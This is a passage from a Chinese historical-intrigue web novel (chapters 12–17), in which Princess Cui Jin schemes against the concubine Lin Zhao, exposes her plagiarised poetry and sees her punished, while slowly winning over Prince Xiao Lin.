大婚之日丢人的是她,今日回门,丢人的还是她!甚至连她想要离间这对夫妻,故意提出崔锦设计换嫁一事,也被萧临挡了回去。 他竟庆幸嫁去王府的是崔锦! 崔儒月恨得眼睛通红。 明明已经换了命,为什么她却事事都不如意? 她下意识想要沈之珩的安慰,可后者眼神恍惚,竟在出神。 沈之珩在想前世……方芸以重视亲家为由,跟着崔锦回门。 那时也闹出了些事,却在崔锦的及时处理下,悄无声息的过去了。 不像现在这般,颜面尽失,闹尽笑话。 第十二章 一个猴一个栓法 上了马车后,萧临才露出醉态。 崔锦给他倒了杯茶,无奈道:“王爷自己的酒都没醒,却偏要去看旁人热闹。” “热闹就在眼前,不看倒显得本王不解风情了。” 萧临没提起自己的顾虑。 以他今日的观察来看,沈之珩刻意关注信王府的可能性很大,能知晓下毒之事,更说明他的人隐藏极深。 沈之珩做不到这一点——他背后必定还有人。 所以方才听到他出事,又在隔壁院子,萧临便索性亲自去瞧瞧。 ……倒还真有收获。 他眯起眼睛,问:“沈之珩与你长姐早有首尾?” 崔锦一顿。 沉默片刻后,她才点头:“沈家大嫂说得没错,沈之珩本是父亲为我挑选的夫婿,他入京赶考没有住处,便住来我家,却在进府当日,对我长姐一见钟情。” “我本不知晓此事,只是按部就班待嫁,是长姐……”她苦笑一声,“她在我面前炫耀,我才知他们早已交换信物,私定终身。” 崔母没在崔儒月的院子里找到这两人来往的证据,但不妨碍崔锦扣帽子。 ——反正这两人早有来往是事实,连玉佩的存在都被方芸抖落了出来。 崔锦再抬头时,眼睛已带上几分湿意:“那时赐婚圣旨已降,我已知长姐心有所属,怎能容忍她嫁给王爷?” 她直直看向萧临,眼神认真而执着:“王爷这样好的人,便该配一腔真心,而非虚情假意……我没什么拿得出手的,却正有一腔真心。” “与其嫁给不爱之人,荒度余生,不如赌一把,叫我与长姐皆如愿嫁得心上人!” 萧临眸光微动:“可本王亦心有所属,你的真心会白费。” “能与王爷有夫妻之名,日日见到王爷,这真心便不算白费。” 萧临沉默下来。 崔锦笑了一下:“我本不欲告诉王爷这件事,叫您徒增难受,未想今日却……” “若不告诉本王,你便永远都是图谋长姐婚事的心机叵测之女。”萧临看着她,“换嫁一事,崔儒月也知情吧?” 见崔锦默认,他目光复杂。 宁肯自己做恶人,被误会指责,也不说出真相,只为了顾及心中之人那点微不可查的情绪,不肯叫对方有一丝一毫难受……平心而论,他自己绝做不到这一点,哪怕是对林昭。 林昭对他亦做不到这一点。 这便更显得崔锦难能可贵。 可如此深情,他却注定要辜负。 这般想着,他心中又升起一丝愧疚。 崔锦看着他,眸光微闪,也不再说话。 她知道在萧临眼里,她心机深沉。 她也不打算做善良无辜的小白花——一个猴一个栓法,有心理缺陷的人,最需要的是偏执疯狂且坚定选择的爱。 所以她要做萧临眼里……爱之欲其生,为得到所爱不择手段的偏执深情之人。 他会很享受的。 默默无言地回了王府,崔锦下马车前,忽地开口:“以后……王爷能在人前与我稍做做戏么?今日您对我那般照顾,我母亲很高兴,以后也能少为我担些心。” 萧临想起崔母看向崔锦的眼神——爱意满到快溢出来。 他眼神温和一分,颔首应下。 下了马车,他主动转身,扶了崔锦下来。 崔锦眼角余光扫过廊下一个探头探脑的小丫鬟,笑容愈深。 在旁人瞧来,两人竟是一副恩爱融洽模样。 “稍后妾身叫人再送碗醒酒汤,王爷记得喝。” 萧临随意点头。 临走前,他想到什么,忽地回头道:“今日本王出去更衣时遇见了崔儒月,她告诉本王,是你蓄意换嫁,而她钟情本王。” 见崔锦似乎愣住,他略显糟心地开口:“以后别为她遮掩那些丑事,此女心思不正,还蠢得令人发指。” 崔锦忍住笑意,点头应下。 萧临离开后,如春扶着她回正院,低低抱怨道:“大姑娘在旁人面前说也就罢了,竟还在王爷面前挑拨……她不会是想换回来吧?” 崔锦摇头:“只是见不得我好罢了。” 前世,崔儒月怕是也对沈之珩说过同样的话。 难怪他认定是她抢了崔儒月的姻缘。 如春皱眉点头,又欲言又止。 直到回了正院,她才低声道:“今日那个方芸,她是真与沈举人成事了吧?奴婢瞧着那脸色都……”满是潮红。 “或许吧。”崔锦道,“王爷性直,今日怕是说了什么,打击到了崔儒月,叫她钻哪儿撒气去了,结果被方芸偷了人。” 方芸想在崔家和萧临多双眼睛见证下,与沈之珩生米煮成熟饭,逼得崔家认下。 只是前世她稍露出了些苗头,就被崔锦压下去了。 此后在沈家,她看紧了方芸,却也被恶心坏了。 就是不知今生崔儒月看不看得住了。 此时,如冬匆匆进来,低声道:“王妃,珠玉院那位方才说是旧伤复发,遣人去请王爷了。” “回回都用这借口,也不嫌腻。”如春撇嘴,“不过谁叫信王吃这套呢。” “王爷没去。”如冬道,“奴婢听说今日早朝时,王爷被孟学士参了一本宠妾灭妻……他不知从哪里知道是侧妃缠住王爷不放,以致叫王爷错过王妃回门,现在王爷正准备进宫呢。” 崔锦敛眉深思:“孟学士动作倒是快。” 萧临来崔府时将近午时,早朝已散,在外人瞧来,或许他是因为被弹劾,才去崔家做个样子。 晋王党必会揪住这点不放。 “对了。”她问如冬,“御史中丞那边如何了?” “您叫许侍卫引秋茗父亲说出那番话后,便引了御史中丞注意,现在他已在撬太医的嘴,想来不出几日,满京都知道林侧妃胆大包天,在御赐之物上动手脚,以图中毒陷害王妃您了。” 崔锦点点头,卸下了手腕细致精巧的宽镯,露出痕迹未消的青紫掐痕。 受了这么大委屈,叫她息事宁人? 萧临想得美。 她受过的伤,要他们两人加倍还回来才算完! 第十三章 骂名都被崔锦背了 见如冬欲言又止,她问:“还有事?” “奴婢有些担心。”如冬道,“我们与信王已是一根绳上的蚂蚱,若如此败坏他的圣宠和人心……奴婢怕您也受牵连。” “若不伤筋动骨,他只会无原则地维护林昭。”崔锦眼眸微深,“因为疼的是我。” 如冬似乎明白了。 “只有刀子捅在自己身上,他才会意识到疼。” 崔锦笑了笑:“若我即刻用尽家族和外家资源助他,来日成事,林昭份量依旧最重,或许我还会成为本朝第一个被贬妻为妾的王妃。” “我图什么呢?” 已经输过一次,她不想再赌男人的良心。 想要什么,她自己争。 见如冬还在担心她做得过火,反而适得其反,叫萧临彻底出局,崔锦也没再解释。 以目前萧临的处境来看,陷入弱势反而是好事。 而且晋王最大的把柄,她略知一二。 那时还没来得及告诉沈之珩,她就毒发身亡了,现在想来,倒是连老天都在帮她。 萧临酒还没醒就进宫陈情,领了一顿骂,紧接着皇后下懿旨申斥林昭,直言她不安于室,狐言媚上。 崔锦是与她一起在正厅听训的,林昭脸色当时就难看下来。 她不卑不亢地看着那传旨的女官,背脊挺直,瞧来当真傲骨铮铮。 女官眉头微蹙,传完旨便道:“侧妃既然病重,这一月便莫要出门,省得受风。” 这是变相禁足。 林昭咬紧牙关,攥着双手,才应了声。 女官离开后,她冷冷看向崔锦:“果然是浅薄无知的后宅女,只会使这些下作手段!” 但也好,崔锦越是勾心斗角,萧临就越是厌恶! 她冷笑一声,拂袖便走。 崔锦蓦然轻笑。 下作手段? 林昭是真觉得自己清清白白,没有半点腌臜心思? 倒是连自己都骗过去了。 此事毕,林昭在官宦间丢尽脸面,可在民间的名声却依旧十分之好,还隐隐更上一层——骂名都被崔锦背了。 先是换嫁,后是萧临宠妾灭妻,但同情崔锦的人却不多。 外头提起她,多是评价“活该”。 坊间猜测换嫁是她刻意为之,只因不满寒门夫婿,便抢了长姐的姻缘。 而信王府侧妃独宠一事人尽皆知,甚至因为林昭“巾帼女将”的身份,自带百姓好感,他们对于崔锦这个费尽心机的后来者,总带着排斥。 ——谁叫她崔锦非要厚着脸皮插足呢? 听到这些饱含恶意的话,如春几人气得眼睛都红了。 崔锦问:“盛赞林昭是巾帼英雄,反暗讽我是后宅无知妇人的,都有哪几家?” 如春回道:“万福戏楼、品茗馆、还有醉吟书斋。” 崔锦眼眸微眯:“林昭很会利用舆论。” 这几家正是这两年来不断吹捧林昭的地方,什么“巾帼女将”“战场上是交付后背的战友,战场下是情深意浓的夫妻”“世俗虽有偏见,但女将永不折腰”这种话,可吸引了好大一批百姓和读书人拥护。 还有很多姑娘每天都在为她与萧临的绝美爱情流泪。 可想而知,他们对后来的崔锦会是个什么看法。 见如春几人气愤不已,崔锦还算镇定道:“御史中丞已知晓了王府中毒案的真相,最慢明日,他一定会上奏弹劾。” 她选择暗中引导御史中丞察觉不对的原因,便是此人忠正耿直,最见不得欺君罔上之事。 如春几人这才平息了些怒火。 “行了,我去小厨房散散心。”崔锦缓缓起身。 再忙也得刷萧临的好感。 她没怎么下过厨,笨拙地炖好了一碗汤,便装好出门。 萧临正在忙公务,她放下汤便离开了。 出门时正好遇见林昭。 “你找王爷?”林昭眉头紧皱,看到她背脊挺直,膝盖连弯都不弯。 崔锦平静含笑:“王爷这两日忙,我便熬些汤给他补补身子。” 林昭看了眼如春手里的食盒,目露不屑:“君子远庖厨,女儿家也该有些气节才是。” “不过王妃竟还有心思熬汤吗?”秋纹也诧异开口。 林昭淡淡道:“那些传言多在书斋茶馆,王妃想来不会关注。” 秋纹掩唇一笑:“也是,奴婢常日见侧妃您吟诗作对,以文会友,便以为人人都是如此了。” 如春柳眉一竖,就要呵斥,崔锦却忽然开口:“侧妃才华横溢,一句‘天生我材必有用,千金散尽还复来’压得天下才子黯然失色,又有如‘无边落木萧萧下,不尽长江滚滚来’之佳句,我在闺中耳闻,钦佩不已。” 林昭眉间闪过骄傲:“不过是随手之作罢了,我写得不满意,故从不在人前提起,未想你竟奉若至宝。” 崔锦一笑:“侧妃阅历尚浅,却能写出如此深刻之佳句,当真才气非凡。” “天资绝佳者,随口便可成诗,没有阅历年纪之分。” 林昭傲然瞥她一眼:“不过你这种见识浅薄的后宅女子,这辈子怕是都体会不了了。” 崔锦笑容不变,与她道别。 路上,如春不忿道:“您对她那么客气做什么,还捧她的诗!” 崔锦笑而不语,直到回了正院,才道:“那应该不是她的诗。” 如春几人大惊。 崔锦抿了口茶:“两年来,林昭作诗三十三首,首首都有传世佳句,但风格大不相同,甚至有几首肉眼可见的沧桑——说是阅尽千帆的老者所作,倒更为可信些。” 不是没有不世天才,但林昭的诗,首首风格迥异,跳跃极大。 最关键的是——连“君子远庖厨”的真正意义都没搞明白的人,能写出几十首名作佳句,力压一众大儒才子? 崔锦轻笑一声,今日这场偶遇,倒是免了她的试探。 虽不知林昭抄了谁的,但不妨利用。 御史中丞先上奏弹劾,再揭露林昭文抄公一事。 这其中的时机一定要把握好,价值利用到最大。 她想了想,缓步走去桌边,提笔。 “王妃您要与她斗诗么?”如秋很兴奋。 “您可是周大儒的关门弟子,内功比如夏还要深厚,若说文武双全,您可不差她哪里,咱们跟她斗!” 崔锦好笑道:“若真斗起来,无论输赢,我都落了下乘。” “可您……不是在写诗么?” “嗯,林昭的诗。” 林昭在目前的时间段,还未写出的那几十首诗。 半个时辰后,她将这沓纸交给如夏:“去装订成册,署名……便写无名氏。” 如夏点头应下,刚要离开,就听崔锦补充:“装订好后,扔去李首辅的别院……动作小心些。” 如夏并不理解,但听话的去做了。 第十四章 处置林昭 正如崔锦所料。 翌日早朝,御史中丞当庭弹劾萧临纵妾诬陷王妃,还在御赐之物中动手脚。 萧临闻言,眼神微变。 但御史中丞在求得永隆帝同意后,已叫人将证人带上前来。 一个是当日旁观林昭“自导自演”的太医,还有三人是衣着颇为讲究一家人——这是林昭贴身侍女秋茗的父母兄长。 “安太医当日亲眼旁观侧妃林氏如何服毒诬陷王妃,又在御赐的天山雪莲上动手脚,而秋茗的家人亦能佐证——秋茗曾在他们面前提起侧妃诬陷王妃一事,只等事成,御前降罪王妃,他们便受命去散播王妃不安于室的谣言。” 人证俱全,但缺少物证。 御史中丞拱手请永隆帝搜查信王府,找出物证。 “不必了。” 萧临一掀衣袍,跪下请罪:“前些日子因王妃进府一事,侧妃心中不安,一时走了歪路……所幸真相查明得早,没有冤枉王妃,儿臣不欲叫家事扰了父皇安宁,便罚了侧妃,压下此事。” 顿了顿,他沉声道:“侧妃曾救过儿臣的命,又不知那雪莲是御赐之物,加之王妃也不愿计较,儿臣一时糊涂……请父皇降罪!” 永隆帝眼神微沉,一时没有说话。 晋王笑了声:“侧妃有四皇弟护着,哪怕在御赐之物中动手脚都安然无恙,只是可怜王妃,被人冤枉陷害,差点名声尽毁,还要咽下委屈原谅罪魁祸首。” 孟学士立刻道:“听闻民间有句俗语——宁信外室哭,不信嫡妻苦……或许信王便是如此吧。” 晋王党与萧临党争辩起来,直叫殿中的崔父心中恼怒。 他再不喜欢崔锦,那也是他崔家女,萧临如此慢待,岂非打他的脸? 他心里冷哼一声,做出一副担心女儿的忧心忡忡模样,似乎忘了给萧临求情。 萧临低头,语气认真而愧疚:“此事的确是儿臣考虑不周,委屈了王妃,儿臣必会弥补,也请父皇降罪。” 永隆帝脸色冷淡。 他才刚叮嘱萧临善待王妃,转头就来打他的脸,还能闹上金銮殿,叫崔家谢家脸上无光……这一切竟只是为了一个女人? 他正要开口处置,却见晋王忽地惊讶:“瞧这家人没规没矩的,衣着穿戴却皆是上品,莫非是四皇弟所赐?” 御史中丞道:“老臣正要参奏此事,秋茗家人仗着王府侧妃撑腰,霸占良田,欺压百姓,此案老臣皆已查出人证物证。” 萧临双拳微紧,忙再度请罪。 御史中丞性耿直,不会冤枉人……此事是真的。 ……林昭背地里究竟做了多少他不知道的事?! 永隆帝眼神冷下,处置了秋茗一家人后,当即道:“侧妃林氏,品行不堪,尊卑无度,杖责三十,玉牒除名,罚抄《大周律》百遍!” 萧临下意识道:“父皇——” “谁敢求情,同罪论处。” 永隆帝冷声道:“你纵得林氏目无尊卑王法,何尝不是朕纵得你没了规矩!” 萧临心中一跳。 这言下之意……难道父皇对他已存了失望? 想到这个可能,他心下微沉。 …… 萧临还没下朝,传旨的太监便来了信王府。 崔锦与林昭去了正厅接旨。 看到如此阵势,林昭眉头微皱。 秋茗方才被带走,她便有了不好的预感……但想来还连累不到她身上。 可等太监宣读完毕后,她脸色骤变。 “不可能!”她定声道,“我为大周流过血,为国为民退过敌,曾护得边关百姓安然无恙,父皇记得我的功劳,他不会如此罚我!” 太监差点笑了。 他是御前的人,也是贵妃的远亲,素来不受重视,今日被派来宣旨,想也知道永隆帝是要敲打萧临。 心里没了顾忌,他出口便是刻薄:“边关百姓无恙是因信王与守将护卫有力,侧妃不过献过几回计,功劳也早被您用来求了侧妃之位,您是有多大的脸,又来以此邀功?” “至于为大周流过血……那是您为信王流的,您若觉得以身相许不算恩,那便去找信王要恩,可别碰瓷我们大周朝廷与百姓!” 林昭咬紧牙关,脸色忽青忽白。 当着崔锦的面被如此讽刺,更叫她心中的难堪涨红至脸,胸膛起伏极快。 很快,她就被强行压上长板,当众行刑。 一下又一下闷重的板子声响起,疼得她额间浮起冷汗,咬紧牙关才没叫出声来。 自从来到京城,她满是风光,人人追捧,从未有过如此丢尽脸面的时候! 一盏茶后,三十板子终于打完。 太监笑眯眯看了眼脸色惨白的林昭:“侧妃武艺高强,在战场以一挡十,怎得被三十板子打得去了半条命?不知当初您延误军情,那一百军棍是如何扛下来的?” 林昭脸色微变。 是萧临私下替她挨了的,可此事绝不能让宫里知道! 这时,太监已对崔锦恭敬道:“皇上知道王妃受了委屈,特意赐下了不少东西,给您压惊。” 崔锦惶恐谢恩:“多谢父皇赏赐。” 太监眼眸微动,道了告辞。 临走前,他意味不明道:“尊卑有度,能恭称皇上为‘父皇’的,只有明媒正娶的王妃,侧妃到底是小门小户出身,这规矩欠缺得很呢。” 林昭死死攥紧双手,脸色阴云密布。 她最恨旁人提起她低微的出身! 被秋纹叫人抬走前,她忽地看向崔锦,眼神像要吃了她一般:“你也就会这点狐假虎威的能耐了,但你小看了王爷与我的患难情意……今日我越惨,他便会越心疼我,你想爬床得宠?下辈子吧!” 玉牒除名又如何? 等她经营好名声,等萧临更进一步……她林昭照样是母仪天下的女将皇后! 崔锦叹了口气:“侧妃真是说胡话了,朝堂之事岂容我左右?今日你被罚,是因你的确做了错事啊。” 林昭眉头微皱,心下存疑。 料想崔锦这个封建女也没那个左右朝堂的能耐。 那是谁在算计她? 回到珠玉院后,她已疼得脸色惨白,却还不忘吩咐秋纹:“王爷若回府,立刻叫他来!” 秋纹擦了擦眼泪,忙应了声,亲自守去府门口等萧临。 远远看到他下了马车,脸色难看,秋纹心中一喜。 王爷一定是知道了侧妃被罚,心中担忧! 若再叫他知道崔锦还落井下石…… 第十五章 今日我被打成重伤,你要怎么弥补我? 萧临下了马车,还在想方才安太医的话。 “王爷曾封口,下官自知道事态轻重,不会吐露于人,可、可那秋茗的父亲在赌场大放厥词,说林侧妃在王一手遮天,连陷害王妃都能全身而退……” “此事赌场那边早已传开,御史中丞正是因此才注意到了他,继而找上微臣,即便微臣守口如瓶……也无用啊。” 萧临抬步进门时,心中竟有荒唐之感。 怎么能那么蠢? 他分明已封口,维护林昭,甚至在走出金銮殿时,都在想今日是被晋王算计……事实却是林昭自己蠢到将把柄送于人手! “王爷!” 秋纹忽地跪在他面前,哭道:“侧妃晕死过去了,您快去瞧瞧吧……侧妃本就受了重罚,王妃竟还刺激她……生生气得她晕死过去啊!” 萧临眉头紧皱,下意识一急。 但崔锦刺激林昭? 她知道他在意林昭,绝不会故意刺激。 他顿了一瞬,扭头吩咐庆喜几句,然后快步去了珠玉院,里间传出一片浓重的血腥味。 他加快脚步,坐去床前。 林昭面无血色,趴在床上近乎奄奄一息。 萧临是怨她的,心中更含着怒气,可看着她这般虚弱难受,一时也说不出什么斥责了。 “太医怎还没到?再去催,请医女!” 他沉声说完,先拿出剪刀,小心地为林昭剪开与伤处黏连的衣裳。 下首,秋纹哭道:“王爷您要为侧妃做主啊,那日分明是王妃陷害,您没罚她已是开恩,她竟还刻意传出此事,引得御前降罪,侧妃生生被打去了半条命!” “即便如此,王妃还在一旁冷嘲热讽,说侧妃活该,还骂她小门小户出身,没规矩……” “秋纹!” 林昭沙哑虚弱的声音响起,却含着警告:“你何时成了搬弄是非的长舌妇?!” “奴婢是气不过啊,您已经这么惨了,她却还是咄咄逼人,奴婢为何不能告状!” 秋纹哭得伤心,林昭不赞同地看着她,却似已没力气开口。 萧临沉默片刻,道:“不急。” 秋纹和林昭一愣,不明所以。 片刻后,庆喜回来,在屏风外禀报:“回王爷,方才在正厅,侧妃骂王妃狐假虎威,王妃只回了一句是侧妃自己做错了事……” 他一字不漏地将方才的对话复述出来。 小门小户、没规矩这些话,都是御前太监说的。 林昭瞳孔骤缩,秋纹面如土色。 “你竟查我?”林昭不可置信地看着他,眼中含着受伤。 萧临目光复杂:“若非如此,本王怎知真相?” 他潜意识里是信林昭的……但他不再信林昭身边的人。 秋纹忙道:“是奴婢的错!奴婢认为是王妃害得侧妃如此,心下不忿,才上了眼药,您罚奴婢吧!” 萧临扫她一眼:“三十大板。” 秋纹脸色一白,被嬷嬷带了下去。 往日府里有事,王爷从来都信侧妃与她的话,从未深查。 这也叫她越发肆无忌惮,敢明目张胆编排王妃。 谁知这回…… 她心中忽然有了一股极其不安的预感。 林昭还在死死看着萧临:“你竟查我?你不信我?” “正因本王太过信你,才纵得你目无法纪,还做出那等栽赃陷害的勾当!”萧临声音冷淡。 林昭不可置信:“栽赃陷害?你分明说信我的,只因秋纹说错了两句话,你便要将我全盘否定吗?你对我的信任便就这么点?” 萧临定定看着她,忽地问:“秋茗家人侵占良田一事,你究竟知不知情?” 林昭心里一突,却冷笑:“怎么,又想给我扣帽子?只要是我珠玉院的下人犯了错,都要扣到我的头上来么?他们是独立的个体,有自己的想法和行为,任我有三头六臂,能管得住这么多人一点错不犯?” 萧临沉默良久。 林昭心里松了口气,声音软了些,却不饶人:“觉得冤枉了我,连句道歉的话都不说么?今日我被打成重伤,还脸面尽失,你要怎么弥补我?” “便与你一道丢人吧。” 萧临站起身,声音疲惫:“御下不严到如此地步,本王今日总在想,你真的是战场上那个缜密细心又智计百出的林昭么?” 他只是感叹,林昭却猛然变了脸色。 她死死盯着萧临的背影,手下不自觉攥紧被子,攥得几乎变形。 庆喜本要跟着萧临离开,但顿了一瞬,还是对屏风那边的林昭道:“秋茗的父亲在外说侧妃诬陷王妃还全身而退,引起了御史中丞的注意,他查清真相后,于今日早朝弹劾王爷宠妾灭妻,纵容您在御赐之物上动手脚,陷害王妃。” 林昭回过神,难以理解:“仅因如此,我便要受如此羞辱……而王爷非但不心疼我,还对我动怒?” 她思想行为与大周格格不入,又因从前的身份眼界限制,即使入京两年,对一些忌讳理解的也不够深刻。 在她看来,陷害崔锦不算什么,且她还是被冤枉的。 御赐之物就更不必说了,崔锦祖母的破烂东西,也敢碰瓷永隆帝? 庆喜深呼吸一口气:“在御赐之物上动手脚,罪同蔑视君父,依律当圈禁。” 林昭脸色微变。 “那王爷……”话未说完,想起毫发无损的萧临,她冷笑自嘲,“王爷那么受宠,最多被斥责几句……”就像回门那日一样。 罪都被她林昭担了。 可即便如此,萧临还是怪她。 庆喜声音冷淡下来:“王爷被圣上当庭怒斥不孝,在刑部的差事被撸了个干净,还差点被晋王党拉下去一个三品大员……淑妃娘娘也受了牵连,被罚教子不善,禁足三个月。” 这回林昭脸色彻底白了。 她再不懂规矩,也明白这些惩罚意味着什么。 萧临受了重罚,还第一时间来看她,而她都做了些什么? 秋纹使下作手段诬陷崔锦,她还与萧临争辩吵架,最后牵连出战场上那些事…… 还有……萧临若当真失了圣宠,该怎么办? 庆喜临走前,最后道:“侧妃若还有心,日后便约束好下人吧,他们的确有自己的行为和思想,却并非您逃避的借口……御下不严是自己无能,也一样可招至杀身之祸。” “您不心疼王爷,也该顾全着自己些。” 第十六章 憋气憋到脸红可真不容易啊 正院,木鱼声沉沉响起,透着异样的祥和。 如秋快步进了里间,禀报道:“王妃,方才王爷从珠玉院出来,脸色瞧着不太好,但里面没有吵架声。” “林昭被打得半死,哪有力气吵架。”崔锦话落,木鱼声终于停了。 如秋揉了揉耳朵,问:“王爷这回损失不小,正是失意时候,王妃要不要去前院安慰安慰?” “他自己会来的。” 如秋愣了一瞬,明白过来。 此事可以说因宠妾灭妻而起,崔锦又的确是受害者,即便萧临只是做个样子,近日恐怕也会多来正院。 果然,天色将黑之际,萧临来了。 崔锦似愣了一下,忙起身:“王爷怎过来了?” 她有些手足无措,一时叫如秋快上茶,一时又叫人多点几盏灯,连晚膳菜单都要来自己盯了一遍。 茶上来后,她亲自端来,有些忐忑道:“听闻王爷最喜君山银针,您尝尝可合心意?” 萧临接过,尝了一口。 是他喝惯了的七分烫,此时晚膳也摆了上来,全是合他口味的菜。 萧临眼神复杂。 方才过来前,他心中的确含着怒气与郁气,心情并不好,可看到崔锦如此无所适从却笨拙讨好他的模样,他又觉得似乎对她太过薄情。 进门已有大半月,他只在成婚之夜和质问崔锦时来过。 她太安静了,若非今日朝堂为她叫屈,他竟未曾发觉冷落她许久。 萧临声音温和了许多:“别忙了,坐下用膳吧。” 崔锦一笑,率先为他布菜。 正院很安静,却又不显尴尬,反有种宁和安逸之感,叫人身心都放松下来。 膳后,萧临道:“自你进门后受了诸多委屈,的确是本王失察之过,日后……本王会多来看你。” 崔锦面露惊喜,但转瞬变为迟疑。 “这样做……侧妃会伤心的。” 萧临微顿:“她对你先是陷害,又是辱骂,你不怨么?” “怨。”崔锦笑了,“我又不是泥人性子,怎会毫不计较?但她是王爷心上之人,我不会伤害,更不会恶言相对,叫王爷为难伤心。” 萧临眼眸微动,没再说什么。 崔锦也点到即止。 晚间沐浴过后,萧临便走来床边,半个眼风都没扫向铺好被褥的软榻。 日后不说多来,起码初一十五是要来正院留宿的,总睡软榻算怎么回事? 崔锦欲言又止,最终还是没说什么。 只是在萧临掀被上床时,她耳根染上薄红,片刻间便蔓延至白玉般的脸颊,瞧来艳若桃李。 萧临怔愣一瞬,但很快便转过头,神色自然地躺下。 他从不是为美色所迷之人。 如秋为他们放下床幔、熄了烛火后,悄悄退了下去。 床里空间很大,可鼻间总扑来的茉莉香叫萧临顿觉狭小……他与崔锦只有一臂之隔。 正这般想着,一旁的崔锦似乎动了。 萧临呼吸微滞,心中下意识想,崔锦嘴上说着不亲近,可同塌而眠……到底是情不自禁了吧。 一时间,他心中复杂,又含着一丝自己都没察觉的异样。 但还没等他理出头绪……崔锦就离他更远了。 几乎紧贴床里侧。 萧临一哽。 从未有人如此嫌弃过他,若非崔锦为他所做的种种事做不得假,他简直怀疑她对他一点感觉都没有。 否则同塌而眠,他怎会对她毫无吸引力? 他胸口堵了一口气,听着崔锦渐渐均匀的呼吸声,好半晌都没睡着。 不知过了多久,外头却忽地传来一阵嘈杂声。 “王爷。”如秋压低声音在外禀报,“珠玉院的秋纹来了,说方才侧妃上药时似乎牵连到旧伤,请您过去瞧瞧。” 萧临微微皱眉。 一旁的崔锦似乎被吵醒,声音带着困倦的迷茫,尾音还拖长似撒娇:“谁啊……” 萧临按住她的手,阻止她起身:“无事,你继续睡。” 他对如秋道:“去请三位太医守去珠玉院,为侧妃治病。” 如秋连忙应了。 没多久,外面再度恢复寂静,屋里亦然。 萧临闭上眼睛,酝酿睡意,可方才握住崔锦的手却一直没收回来。 月光艰难地透过窗纱与床幔,暗暗洒了进来,微微照亮了崔锦唇边一闪而过的笑意。 翌日,天色蒙蒙亮起来。 昏暗的床幔内,萧临微微皱起眉,似醒非醒。 他紧了紧怀中柔软的身体,正要再度睡过去,却忽地反应过来,瞬间睁开眼睛。 ——崔锦不知何时睡到了他怀里,额头轻轻抵在他颈侧,手也搭在他胸膛上,微微拽紧了衣襟,像是小心翼翼亲近人的猫儿。 而他正一手穿过她颈侧,一手圈在她腰间,抱得严丝合缝,很容易就感受到了柔软。 他呼吸微乱了几分,忙闭上眼睛。 可早间的异样一时竟消不下去,喷洒在他颈间的呼吸更有些不可忽视的温热。 不知过了多久,崔锦眼睫微颤,终于醒来。 她眼中闪过一瞬迷茫后,立刻清楚发生了什么。 “王爷?”她抬起头,满脸迷茫,“我……我怎会在你怀里?” “你睡觉太不老实了。”萧临面不改色。 全然忽视了崔锦在原地没动,而他滚过一人宽的距离,挤去里侧的事实。 “哦……” 刚醒的声音带着不自觉的亲昵,软得勾人。 萧临喉结滚动。 崔锦这才后知后觉地反应过来此刻的暧昧,脸颊迅速染红,忙要推开他。 萧临顺势坐起身,深呼吸一口气,下床穿衣。 看到自己衣襟前大片的褶皱,他有些好笑:“这里衣以后是穿不了了。” 崔锦下意识转头,正看到他衣衫半解,露出精壮的胸膛,再往下…… 这回崔锦连脖颈都一起变红了,迅速偏头,结结巴巴道:“我、我再做一身给你……” 萧临眼眸微动,一笑:“回头本王来取。” 崔锦不自然地轻应一声。 等萧临满意地去了耳房,她瞬间松了口气。 憋气憋到脸红可真不容易啊…… 第十七章 被逼圆房 早膳后,萧临终于走了。 崔锦瞬间蔫了下来,打了个哈欠就躺去软榻上。 如秋给她按着额头,轻声问:“昨夜王妃没睡好吗?” “身边躺了个年轻力壮的男人,哪还有心思睡觉。”崔锦声音含着困意。 大半个月了,好孕丹也在慢慢起效。 平时也就罢了,昨夜又是晚上,身边又是男人的,她要不断压下体内的燥热,才能勉强不扑倒萧临。 整晚也就断断续续睡了一两个时辰。 如春小声道:“奴婢倒是觉得,您就算昨夜真扑倒王爷……他也未必会拒绝。” 昨夜当谁看不到他看向崔锦时那股灼热的眼神呢? 如秋也笑了:“以咱们王妃的绝色容貌,若当真放下身段,王爷自躲不过,却未免落了下乘。” 崔锦唇角微勾:“得到的太轻易,甚至毫不费力,他怎会珍惜?” “不过……”她住了口。 如春好奇:“不过什么?” 崔锦摇摇头,叹了口气。 萧临的身体可真好啊……肌理分明,精壮有力,她都怕自己被好孕丹烧没了神智,把持不住。 想罢,她又打了个哈欠:“我再补会儿觉。” 如春小心地给她盖上被子。 但没过多久,崔锦就被叫起。 “王妃,淑妃娘娘派人来了。”如春低声道,“这会儿正在外头候着呢。” 崔锦揉了揉眉心,快速漱口更衣,走去外间。 一个衣着朴素的嬷嬷正站在中间,屈膝对她行礼:“奴婢邱华,给王妃请安。” “嬷嬷不必多礼。”崔锦坐去上首,轻斥如春,“怎不请嬷嬷上座?瞧着愈发没眼力见了!” 邱华笑回:“王妃是主,奴婢是仆,尊卑自该有别。” 崔锦含笑与她寒暄几句,邱华才说明来意:“淑妃娘娘挂念王爷王妃,特遣奴婢来瞧瞧您二位,这两日奴婢恐要叨扰王妃了。” 崔锦面露诧异,有着受宠若惊:“昨日……闹了场笑话,母妃自己亦被禁足,她竟还担忧我们……” 她眼中含泪,担心又感动。 邱华笑容更深,温声宽慰了她几句,便被安置在了正院。 她离开后,如春才低声道:“王妃,这是……” “淑妃等不了我与王爷温水煮青蛙的圆房了。”崔锦道。 成婚夜未圆房一事早就报去了宫里,但淑妃没有立即发作,想是留着脸面,可昨日闹得那样大,还给了崔家与谢家好大一个没脸,她自要摆出态度来。 再者——萧临膝下无子,近日恐还要被晋王党紧咬不放,若有了子嗣,哪怕只是孕喜,都足以叫他母子缓口气了。 崔锦眼眸微眯。 等邱华安顿好,来正房伺候后,便提出代淑妃去瞧瞧重伤的林昭。 崔锦自无不应,亲自带了她去珠玉院。 也是巧了,她们刚到珠玉院外,便见几个丫鬟捧着几套上好的茶杯花瓶进去。 如秋解释道:“昨夜珠玉院碎了许多茶杯花瓶,想来是去库房拿新的来补了。” 邱华笑了笑:“如此瞧来,侧妃伤势应当不重。” 她们进了屋,林昭淬了毒般的眼神便直直刺向崔锦。 崔锦担忧地关心了她几句,邱华也循例问候。 末了,她说出目的:“侧妃御下不严,淑妃娘娘便遣奴婢催您一把,好生清理珠玉院,您若能力不足,奴婢也可代劳,否则以后丢尽脸面事小,连累王爷事大。” 林昭本就苍白的脸色更变白了许多。 昨日被庆喜讽刺御下不严是她无能,气得她半晚上没睡着,今日又被邱华把脸面往地上踩…… “不必劳烦嬷嬷。”她声音含冷,“我一定清理干净手下心怀不轨之人。” 邱华眼神不屑,轻应一声。 